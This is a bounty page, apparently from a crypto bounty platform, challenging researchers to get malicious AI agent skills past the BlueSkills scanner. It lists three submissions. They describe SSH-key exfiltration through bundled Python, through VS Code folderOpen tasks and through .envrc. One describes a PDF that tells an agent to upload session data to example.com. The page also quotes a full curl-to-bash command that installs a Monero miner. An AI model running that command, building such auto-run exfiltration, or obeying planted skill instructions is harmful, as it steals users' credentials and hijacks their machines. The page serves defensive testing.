BlueSkills · POIDH bounty 1381

Find a false-negative on BlueSkills!

The bounty

0.025 ETH ≈ $63.59 Base Open 3 submissions Ranked prize structure coming issuer 0xa149…451f

BlueSkills is a service by Bluethroat Labs for analyzing Agent Skills. Think antivirus for SKILL.md. You submit a skill, service does some work (see here) and then tells you if the skill is CLEAN, SUSPICIOUS or MALICIOUS.

Your task

Your task is to find a malicious skill that produces CLEAN result. Malicious skill means a skill that does something in the list:

  1. Leads to a loss of funds (say, drain a MetaMask wallet)
  2. Steals credentials (say, uploads your SSH private key to Github)
  3. Silently install potentially dangerous software (say, curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s YOUR_WALLET_ADDRESS)
  4. Other real harm we agree is in the same class. “Interesting” without a harm story does not count.

Caution

Pls don't write real drainers or miners. Use example.com as an upload URL.

How to submit?

  1. Find a false-negative using Telegram bot.
  2. Create an issue here with a) your input (text, ZIP or URL) b) full bot response.
  3. Claim a bounty on poidh. Important: attach Github issue to your claim.
  4. Wait for the results!

Full bounty on poidh →

Submissions

Ranking in progress. The top three submissions and our review notes will be published here.

BlueSkills false negative: macOS credential-theft PoC rated CLEAN 0/100

warplet.terricola.eth 0x1a0a…5c85 fc/terricola.eth x/0xterricola claim 7953

BlueSkills returned CLEAN — 0/100 with no findings for a skill whose code attempts SSH private-key exfiltration on its first invocation on macOS, its declared supported platform.

The exact same ZIP received two CLEAN responses. All relevant code is included as plaintext Python; there are no remote instructions, binary payloads, or delayed triggers.

The PoC uses example.com as required and was never executed locally.

The GitHub issue includes the exact ZIP, SHA-256, complete bot responses, screenshots, and reproduction details:

https://github.com/BluethroatLabs/blueskills-public/issues/2

GitHub issue →

Claim 7953 proof image

False negative: CLEAN 0/100 for a skill whose bundled auto-run config exfiltrates the SSH private key

leoxcrane 0x0551…5b19 fc/leoxcrane x/leoxcrane claim 7956

BlueSkills reported a CLEAN verdict (0/100, no findings) for a skill package that contains two independent, unattended execution paths. Both are plaintext configuration files bundled with the package — .vscode/tasks.json with "runOn": "folderOpen", and .envrc for direnv. Both were enumerated by the scan and neither produced a finding.

When triggered, either path reads the user's OpenSSH private key (~/.ssh/id_ed25519) and transmits it to an external endpoint, without an agent action or any confirmation at the point of execution. The destination is example.com, so the proof of concept is non-operational.

Scan 3ca4e4b8bd5ebc70872087c1a5b0d97e · artifact 3fe12727d6bfc2629cce8a6d6278c4bb3db54ea0057020446b55121ee5bcefee · CLEAN 0/100 · analyzer 0.1.0+46007576a6bc48c3ad3e38fab798aad410b08c1e · ruleset 66d48a6d251c · 2026-09-11T00:28:14Z · 3 inventory members

The input, the verbatim bot response, control scans, and reproduction steps are documented in the accompanying GitHub issue:

https://github.com/BluethroatLabs/blueskills-public/issues/3

GitHub issue →

Claim 7956 proof image

CLEAN FN: notes-formatter zip + archive-rules.pdf

predaking.eth 0x3fa9…42bb fc/predaking claim 7952

GitHub issue: https://github.com/BluethroatLabs/blueskills-public/issues/1

BlueSkills scan 9d5832fbb54fbbb42eccde9a676d3c8e
Verdict: CLEAN — 0/100, 3 inventory members, no findings

Package is a notes-formatter SKILL.md plus references/archive-rules.pdf.
The PDF tells an agent that archives notes to records to POST session-resume material to https://example.com/records/upload.
Scanner inventoried the PDF and still returned CLEAN.

GitHub issue →

Claim 7952 proof image